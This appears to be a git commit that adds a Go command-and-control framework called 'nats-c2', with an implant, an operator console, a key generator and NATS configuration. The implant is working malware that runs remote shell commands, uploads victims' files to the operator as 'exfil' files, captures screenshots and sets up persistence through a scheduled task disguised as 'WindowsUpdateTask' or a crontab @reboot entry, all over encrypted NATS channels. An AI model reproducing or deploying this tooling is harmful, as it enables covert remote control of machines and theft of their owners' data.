Upload files to "nats-c2"

This commit is contained in:
2026-07-19 01:54:48 +00:00
parent 3dca1219d4
commit ba36e1ccc6
6 changed files with 508 additions and 0 deletions
+14
View File
@@ -0,0 +1,14 @@
// generate_key.go
package main
import (
"crypto/rand"
"encoding/base64"
"fmt"
)
func main() {
key := make([]byte, 32)
rand.Read(key)
fmt.Println(base64.StdEncoding.EncodeToString(key))
}
+80
View File
@@ -0,0 +1,80 @@
github.com/BurntSushi/freetype-go v0.0.0-20160129220410-b763ddbfe298/go.mod h1:D+QujdIlUNfa0igpNMk6UIvlb6C252URs4yupRUV4lQ=
github.com/BurntSushi/graphics-go v0.0.0-20160129215708-b43f31a4a966/go.mod h1:Mid70uvE93zn9wgF92A/r5ixgnvX8Lh68fxp9KQBaI0=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/dblohm7/wingoes v0.0.0-20250822163801-6d8e6105c62d h1:QRKpU+9ZBDs62LyBfwhZkJdB5DJX2Sm3p4kUh7l1aA0=
github.com/dblohm7/wingoes v0.0.0-20250822163801-6d8e6105c62d/go.mod h1:SUxUaAK/0UG5lYyZR1L1nC4AaYYvSSYTWQSH3FPcxKU=
github.com/ebitengine/purego v0.10.0 h1:QIw4xfpWT6GWTzaW5XEKy3HXoqrJGx1ijYHzTF0/ISU=
github.com/ebitengine/purego v0.10.0/go.mod h1:iIjxzd6CiRiOG0UyXP+V1+jWqUXVjPKLAI0mRfJZTmQ=
github.com/gen2brain/shm v0.2.1 h1:4ARWVKmLPeXE6Qq547N1Fdub+S285OEca+0BoxUJX6g=
github.com/gen2brain/shm v0.2.1/go.mod h1:UgIcVtvmOu+aCJpqJX7GOtiN7X2ct+TKLg4RTxwPIUA=
github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0=
github.com/go-ole/go-ole v1.3.0 h1:Dt6ye7+vXGIKZ7Xtk4s6/xVdGDQynvom7xCFEdWr6uE=
github.com/go-ole/go-ole v1.3.0/go.mod h1:5LS6F96DhAwUc7C+1HLexzMXY1xGRSryjyPPKW6zv78=
github.com/go-vgo/robotgo v1.0.2 h1:MbhSoJSzv/PNr2dL6H0Z1IUL4Uypsk2b9lQsGQ15hjU=
github.com/go-vgo/robotgo v1.0.2/go.mod h1:wb9ozpOGZS0mHt1+hg4UXzyZe9A8qytjKB84tG9iNyM=
github.com/godbus/dbus/v5 v5.2.2 h1:TUR3TgtSVDmjiXOgAAyaZbYmIeP3DPkld3jgKGV8mXQ=
github.com/godbus/dbus/v5 v5.2.2/go.mod h1:3AAv2+hPq5rdnr5txxxRwiGjPXamgoIHgz9FPBfOp3c=
github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=
github.com/jezek/xgb v1.3.0 h1:Wa1pn4GVtcmNVAVB6/pnQVJ7xPFZVZ/W1Tc27msDhgI=
github.com/jezek/xgb v1.3.0/go.mod h1:nrhwO0FX/enq75I7Y7G8iN1ubpSGZEiA3v9e9GyRFlk=
github.com/jezek/xgbutil v0.0.0-20260124183602-9fd151d6a51a h1:byHoGvaqttgBKjxlRiJrgXpEGSEGaGSehCDAEOhWdmo=
github.com/jezek/xgbutil v0.0.0-20260124183602-9fd151d6a51a/go.mod h1:J+gHyFrSWnDEeTohhG6DSh048byYWPx4z0ndUu6OhYw=
github.com/klauspost/compress v1.18.5 h1:/h1gH5Ce+VWNLSWqPzOVn6XBO+vJbCNGvjoaGBFW2IE=
github.com/klauspost/compress v1.18.5/go.mod h1:cwPg85FWrGar70rWktvGQj8/hthj3wpl0PGDogxkrSQ=
github.com/lufia/plan9stats v0.0.0-20260324052639-156f7da3f749 h1:Qj3hTcdWH8uMZDI41HNuTuJN525C7NBrbtH5kSO6fPk=
github.com/lufia/plan9stats v0.0.0-20260324052639-156f7da3f749/go.mod h1:autxFIvghDt3jPTLoqZ9OZ7s9qTGNAWmYCjVFWPX/zg=
github.com/nats-io/nats.go v1.52.0 h1:n3avV4VBsCgsdwh71TppsTwtv+QdPs7ntSKM8qJLGsc=
github.com/nats-io/nats.go v1.52.0/go.mod h1:26HypzazeOkyO3/mqd1zZd53STJN0EjCYF9Uy2ZOBno=
github.com/nats-io/nkeys v0.4.15 h1:JACV5jRVO9V856KOapQ7x+EY8Jo3qw1vJt/9Jpwzkk4=
github.com/nats-io/nkeys v0.4.15/go.mod h1:CpMchTXC9fxA5zrMo4KpySxNjiDVvr8ANOSZdiNfUrs=
github.com/nats-io/nuid v1.0.1 h1:5iA8DT8V7q8WK2EScv2padNa/rTESc1KdnPw4TC2paw=
github.com/nats-io/nuid v1.0.1/go.mod h1:19wcPz3Ph3q0Jbyiqsd0kePYG7A95tJPxeL+1OSON2c=
github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646 h1:zYyBkD/k9seD2A7fsi6Oo2LfFZAehjjQMERAvZLEDnQ=
github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646/go.mod h1:jpp1/29i3P1S/RLdc7JQKbRpFeM1dOBd8T9ki5s+AY8=
github.com/otiai10/gosseract/v2 v2.4.1 h1:G8AyBpXEeSlcq8TI85LH/pM5SXk8Djy2GEXisgyblRw=
github.com/otiai10/gosseract/v2 v2.4.1/go.mod h1:1gNWP4Hgr2o7yqWfs6r5bZxAatjOIdqWxJLWsTsembk=
github.com/otiai10/mint v1.6.3 h1:87qsV/aw1F5as1eH1zS/yqHY85ANKVMgkDrf9rcxbQs=
github.com/otiai10/mint v1.6.3/go.mod h1:MJm72SBthJjz8qhefc4z1PYEieWmy8Bku7CjcAqyUSM=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/power-devops/perfstat v0.0.0-20240221224432-82ca36839d55 h1:o4JXh1EVt9k/+g42oCprj/FisM4qX9L3sZB3upGN2ZU=
github.com/power-devops/perfstat v0.0.0-20240221224432-82ca36839d55/go.mod h1:OmDBASR4679mdNQnz2pUhc2G8CO2JrUAVFDRBDP/hJE=
github.com/shirou/gopsutil/v4 v4.26.2 h1:X8i6sicvUFih4BmYIGT1m2wwgw2VG9YgrDTi7cIRGUI=
github.com/shirou/gopsutil/v4 v4.26.2/go.mod h1:LZ6ewCSkBqUpvSOf+LsTGnRinC6iaNUNMGBtDkJBaLQ=
github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U=
github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U=
github.com/tailscale/win v0.0.0-20250627215312-f4da2b8ee071 h1:qo7kOhoN5DHioXNlFytBzIoA5glW6lsb8YqV0lP3IyE=
github.com/tailscale/win v0.0.0-20250627215312-f4da2b8ee071/go.mod h1:aMd4yDHLjbOuYP6fMxj1d9ACDQlSWwYztcpybGHCQc8=
github.com/tc-hib/winres v0.2.1 h1:YDE0FiP0VmtRaDn7+aaChp1KiF4owBiJa5l964l5ujA=
github.com/tc-hib/winres v0.2.1/go.mod h1:C/JaNhH3KBvhNKVbvdlDWkbMDO9H4fKKDaN7/07SSuk=
github.com/tklauser/go-sysconf v0.3.16 h1:frioLaCQSsF5Cy1jgRBrzr6t502KIIwQ0MArYICU0nA=
github.com/tklauser/go-sysconf v0.3.16/go.mod h1:/qNL9xxDhc7tx3HSRsLWNnuzbVfh3e7gh/BmM179nYI=
github.com/tklauser/numcpus v0.11.0 h1:nSTwhKH5e1dMNsCdVBukSZrURJRoHbSEQjdEbY+9RXw=
github.com/tklauser/numcpus v0.11.0/go.mod h1:z+LwcLq54uWZTX0u/bGobaV34u6V7KNlTZejzM6/3MQ=
github.com/vcaesar/gops v0.41.0 h1:FG748Jyw3FOuZnbzSgB+CQSx2e5LbLCPWV2JU1brFdc=
github.com/vcaesar/gops v0.41.0/go.mod h1:/3048L7Rj7QjQKTSB+kKc7hDm63YhTWy5QJ10TCP37A=
github.com/vcaesar/imgo v0.41.0 h1:kNLYGrThXhB9Dd6IwFmfPnxq9P6yat2g7dpPjr7OWO8=
github.com/vcaesar/imgo v0.41.0/go.mod h1:/LGOge8etlzaVu/7l+UfhJxR6QqaoX5yeuzGIMfWb4I=
github.com/vcaesar/keycode v0.10.1 h1:0DesGmMAPWpYTCYddOFiCMKCDKgNnwiQa2QXindVUHw=
github.com/vcaesar/keycode v0.10.1/go.mod h1:JNlY7xbKsh+LAGfY2j4M3znVrGEm5W1R8s/Uv6BJcfQ=
github.com/vcaesar/screenshot v0.11.1 h1:GgPuN89XC4Yh38dLx4quPlSo3YiWWhwIria/j3LtrqU=
github.com/vcaesar/screenshot v0.11.1/go.mod h1:gJNwHBiP1v1v7i8TQ4yV1XJtcyn2I/OJL7OziVQkwjs=
github.com/vcaesar/tt v0.20.1 h1:D/jUeeVCNbq3ad8M7hhtB3J9x5RZ6I1n1eZ0BJp7M+4=
github.com/vcaesar/tt v0.20.1/go.mod h1:cH2+AwGAJm19Wa6xvEa+0r+sXDJBT0QgNQey6mwqLeU=
github.com/yusufpapurcu/wmi v1.2.4 h1:zFUKzehAFReQwLys1b/iSMl+JQGSCSjtVqQn9bBrPo0=
github.com/yusufpapurcu/wmi v1.2.4/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQmPyzfmi0=
golang.org/x/crypto v0.49.0 h1:+Ng2ULVvLHnJ/ZFEq4KdcDd/cfjrrjjNSXNzxg0Y4U4=
golang.org/x/crypto v0.49.0/go.mod h1:ErX4dUh2UM+CFYiXZRTcMpEcN8b/1gxEuv3nODoYtCA=
golang.org/x/exp v0.0.0-20260312153236-7ab1446f8b90 h1:jiDhWWeC7jfWqR9c/uplMOqJ0sbNlNWv0UkzE0vX1MA=
golang.org/x/exp v0.0.0-20260312153236-7ab1446f8b90/go.mod h1:xE1HEv6b+1SCZ5/uscMRjUBKtIxworgEcEi+/n9NQDQ=
golang.org/x/image v0.38.0 h1:5l+q+Y9JDC7mBOMjo4/aPhMDcxEptsX+Tt3GgRQRPuE=
golang.org/x/image v0.38.0/go.mod h1:/3f6vaXC+6CEanU4KJxbcUZyEePbyKbaLoDOe4ehFYY=
golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201204225414-ed752295db88/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.42.0 h1:omrd2nAlyT5ESRdCLYdm3+fMfNFE/+Rf4bDIQImRJeo=
golang.org/x/sys v0.42.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
+5
View File
@@ -0,0 +1,5 @@
-----BEGIN NATS USER
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* IMPORTANT \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* NKEY Seed printed below can be used to sign and prove identity. NKEYs are sensitive and should be treated as secrets.
+246
View File
@@ -0,0 +1,246 @@
package main
import (
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"encoding/base64"
"fmt"
"io"
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"time"
"github.com/nats-io/nats.go"
"github.com/go-vgo/robotgo"
)
// ------------------------- CONFIGURATION -------------------------
var natsServers = []string{
"nats://localhost:4222", // Change to your server IP
}
// AES key from generate_key.go
const b64Key = "rAEUBb5Id9HO3m3BZ+G5PSqBaceVJly4lbjbSSImz+c="
var aesKey []byte
var agentID string
const credsFile = "implant.creds"
// ------------------------- CRYPTO -------------------------
func encrypt(plaintext []byte) ([]byte, error) {
block, err := aes.NewCipher(aesKey)
if err != nil {
return nil, err
}
gcm, err := cipher.NewGCM(block)
if err != nil {
return nil, err
}
nonce := make([]byte, gcm.NonceSize())
if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
return nil, err
}
ciphertext := gcm.Seal(nonce, nonce, plaintext, nil)
return ciphertext, nil
}
func decrypt(ciphertext []byte) ([]byte, error) {
block, err := aes.NewCipher(aesKey)
if err != nil {
return nil, err
}
gcm, err := cipher.NewGCM(block)
if err != nil {
return nil, err
}
nonceSize := gcm.NonceSize()
if len(ciphertext) < nonceSize {
return nil, fmt.Errorf("ciphertext too short")
}
nonce, ciphertext := ciphertext[:nonceSize], ciphertext[nonceSize:]
return gcm.Open(nil, nonce, ciphertext, nil)
}
// ------------------------- COMMAND EXECUTION -------------------------
func runCommand(cmdStr string) string {
var cmd *exec.Cmd
if runtime.GOOS == "windows" {
cmd = exec.Command("cmd", "/C", cmdStr)
} else {
cmd = exec.Command("/bin/sh", "-c", cmdStr)
}
out, err := cmd.CombinedOutput()
if err != nil {
return fmt.Sprintf("Error: %v\nOutput: %s", err, string(out))
}
return string(out)
}
// ------------------------- FILE OPERATIONS -------------------------
func uploadFile(nc *nats.Conn, agentID, localPath string) {
data, err := os.ReadFile(localPath)
if err != nil {
publishResult(nc, agentID, fmt.Sprintf("Upload error: %v", err))
return
}
encData, err := encrypt(data)
if err != nil {
publishResult(nc, agentID, fmt.Sprintf("Encryption error: %v", err))
return
}
b64enc := base64.StdEncoding.EncodeToString(encData)
nc.Publish("c2."+agentID+".file_upload", []byte(b64enc))
publishResult(nc, agentID, fmt.Sprintf("Uploaded %s (%d bytes)", localPath, len(data)))
}
func downloadFile(nc *nats.Conn, agentID, remotePath, b64Content string) {
encData, err := base64.StdEncoding.DecodeString(b64Content)
if err != nil {
publishResult(nc, agentID, fmt.Sprintf("Base64 decode error: %v", err))
return
}
data, err := decrypt(encData)
if err != nil {
publishResult(nc, agentID, fmt.Sprintf("Decryption error: %v", err))
return
}
if err := os.WriteFile(remotePath, data, 0644); err != nil {
publishResult(nc, agentID, fmt.Sprintf("Write error: %v", err))
return
}
publishResult(nc, agentID, fmt.Sprintf("Downloaded to %s (%d bytes)", remotePath, len(data)))
}
// ------------------------- SCREENSHOT -------------------------
func takeScreenshot(nc *nats.Conn, agentID string) {
bitmap := robotgo.CaptureScreen()
defer bitmap.Free()
img := robotgo.ToImage(bitmap)
tmpFile := filepath.Join(os.TempDir(), "screenshot.png")
robotgo.Save(img, tmpFile)
uploadFile(nc, agentID, tmpFile)
os.Remove(tmpFile)
}
// ------------------------- PERSISTENCE -------------------------
func installPersistence() {
exePath, _ := os.Executable()
if runtime.GOOS == "windows" {
cmd := exec.Command("schtasks", "/create", "/tn", "WindowsUpdateTask", "/tr", exePath, "/sc", "onlogon", "/f")
cmd.Run()
} else {
cmd := exec.Command("crontab", "-l")
out, _ := cmd.Output()
newCron := string(out) + "@reboot " + exePath + " >/dev/null 2>&1\n"
cmd2 := exec.Command("crontab", "-")
cmd2.Stdin = strings.NewReader(newCron)
cmd2.Run()
}
}
// ------------------------- NATS COMMUNICATION -------------------------
func publishResult(nc *nats.Conn, agentID, msg string) {
encMsg, _ := encrypt([]byte(msg))
nc.Publish("c2."+agentID+".results", encMsg)
}
func heartbeat(nc *nats.Conn, agentID string) {
encHeart, _ := encrypt([]byte("online"))
nc.Publish("c2."+agentID+".heartbeat", encHeart)
}
func connectWithRetries() *nats.Conn {
for {
for _, url := range natsServers {
// Try JWT auth first if creds file exists
var nc *nats.Conn
var err error
if _, err := os.Stat(credsFile); err == nil {
nc, err = nats.Connect(url, nats.UserCredentials(credsFile), nats.Timeout(5*time.Second))
} else {
// Fall back to no auth for testing
nc, err = nats.Connect(url, nats.Timeout(5*time.Second))
}
if err == nil {
fmt.Println("Connected to", url)
return nc
}
fmt.Printf("Failed %s: %v\n", url, err)
}
fmt.Println("All servers failed, retrying in 10s...")
time.Sleep(10 * time.Second)
}
}
func main() {
var err error
aesKey, err = base64.StdEncoding.DecodeString(b64Key)
if err != nil {
panic(err)
}
hostname, _ := os.Hostname()
agentID = fmt.Sprintf("%s-%d", hostname, os.Getpid())
fmt.Println("Agent starting with ID:", agentID)
nc := connectWithRetries()
defer nc.Drain()
// Subscribe to commands
subj := "c2." + agentID + ".tasks"
nc.Subscribe(subj, func(msg *nats.Msg) {
cmdBytes, err := decrypt(msg.Data)
if err != nil {
publishResult(nc, agentID, "Decryption failed")
return
}
cmd := string(cmdBytes)
parts := strings.SplitN(cmd, " ", 2)
verb := parts[0]
arg := ""
if len(parts) > 1 {
arg = parts[1]
}
switch verb {
case "exit":
publishResult(nc, agentID, "Exiting")
nc.Drain()
os.Exit(0)
case "shell":
out := runCommand(arg)
publishResult(nc, agentID, out)
case "upload":
uploadFile(nc, agentID, arg)
case "download":
subparts := strings.SplitN(arg, " ", 2)
if len(subparts) == 2 {
downloadFile(nc, agentID, subparts[0], subparts[1])
} else {
publishResult(nc, agentID, "Usage: download <path> <base64data>")
}
case "persist":
installPersistence()
publishResult(nc, agentID, "Persistence installed")
case "screenshot":
takeScreenshot(nc, agentID)
default:
publishResult(nc, agentID, "Unknown command: "+verb)
}
})
heartbeat(nc, agentID)
fmt.Println("Agent ready, waiting for commands...")
for {
time.Sleep(30 * time.Second)
heartbeat(nc, agentID)
}
}
+149
View File
@@ -0,0 +1,149 @@
package main
import (
"bufio"
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"encoding/base64"
"fmt"
"io"
"os"
"strings"
"time"
"github.com/nats-io/nats.go"
)
const b64Key = "rAEUBb5Id9HO3m3BZ+G5PSqBaceVJly4lbjbSSImz+c="
var aesKey []byte
var nc *nats.Conn
var natsURL = "nats://localhost:4222"
func encrypt(plaintext []byte) ([]byte, error) {
block, _ := aes.NewCipher(aesKey)
gcm, _ := cipher.NewGCM(block)
nonce := make([]byte, gcm.NonceSize())
io.ReadFull(rand.Reader, nonce)
return gcm.Seal(nonce, nonce, plaintext, nil), nil
}
func decrypt(ciphertext []byte) ([]byte, error) {
block, _ := aes.NewCipher(aesKey)
gcm, _ := cipher.NewGCM(block)
nonceSize := gcm.NonceSize()
nonce, ciphertext := ciphertext[:nonceSize], ciphertext[nonceSize:]
return gcm.Open(nil, nonce, ciphertext, nil)
}
func publishTask(agent, cmd string) {
encCmd, _ := encrypt([]byte(cmd))
nc.Publish("c2."+agent+".tasks", encCmd)
}
func main() {
var err error
aesKey, _ = base64.StdEncoding.DecodeString(b64Key)
// Try JWT auth if creds exist
if _, err := os.Stat("implant.creds"); err == nil {
nc, err = nats.Connect(natsURL, nats.UserCredentials("implant.creds"))
} else {
nc, err = nats.Connect(natsURL)
}
if err != nil {
panic(err)
}
defer nc.Drain()
heartbeats := make(map[string]time.Time)
nc.Subscribe("c2.*.heartbeat", func(m *nats.Msg) {
dec, err := decrypt(m.Data)
if err == nil && string(dec) == "online" {
agent := strings.Split(m.Subject, ".")[1]
heartbeats[agent] = time.Now()
}
})
nc.Subscribe("c2.*.results", func(m *nats.Msg) {
dec, _ := decrypt(m.Data)
agent := strings.Split(m.Subject, ".")[1]
fmt.Printf("\n[+] Result from %s:\n%s\n> ", agent, string(dec))
})
nc.Subscribe("c2.*.file_upload", func(m *nats.Msg) {
b64data := string(m.Data)
encData, _ := base64.StdEncoding.DecodeString(b64data)
decData, _ := decrypt(encData)
agent := strings.Split(m.Subject, ".")[1]
filename := fmt.Sprintf("exfil_%s_%d.bin", agent, time.Now().Unix())
os.WriteFile(filename, decData, 0644)
fmt.Printf("\n[!] File saved: %s\n> ", filename)
})
fmt.Println("[*] NATS C2 Operator Ready")
fmt.Println("Commands: list, <agent> shell <cmd>, <agent> upload <local_file>, <agent> persist, <agent> screenshot, exit")
scanner := bufio.NewScanner(os.Stdin)
for {
fmt.Print("> ")
if !scanner.Scan() {
break
}
line := scanner.Text()
parts := strings.Fields(line)
if len(parts) == 0 {
continue
}
switch parts[0] {
case "exit":
return
case "list":
fmt.Println("Active agents:")
for agent, ts := range heartbeats {
if time.Since(ts) < 90*time.Second {
fmt.Println(" -", agent)
}
}
default:
if len(parts) < 2 {
fmt.Println("Usage: <agent> <command> [args]")
continue
}
agent := parts[0]
cmd := parts[1]
args := strings.Join(parts[2:], " ")
switch cmd {
case "shell":
if args == "" {
fmt.Println("Usage: shell <command>")
continue
}
publishTask(agent, "shell "+args)
case "upload":
if args == "" {
fmt.Println("Usage: upload <local_file>")
continue
}
data, err := os.ReadFile(args)
if err != nil {
fmt.Println("Error reading file:", err)
continue
}
encData, _ := encrypt(data)
b64enc := base64.StdEncoding.EncodeToString(encData)
publishTask(agent, fmt.Sprintf("download %s %s", args, b64enc))
case "persist":
publishTask(agent, "persist")
case "screenshot":
publishTask(agent, "screenshot")
default:
fmt.Println("Unknown command")
}
}
}
}
+14
View File
@@ -0,0 +1,14 @@
listen: 4222
# Point to your operator JWT
operator:
# Use memory resolver for testing (or URL for production)
resolver: MEMORY
# Enable debug logging
debug: true trace: true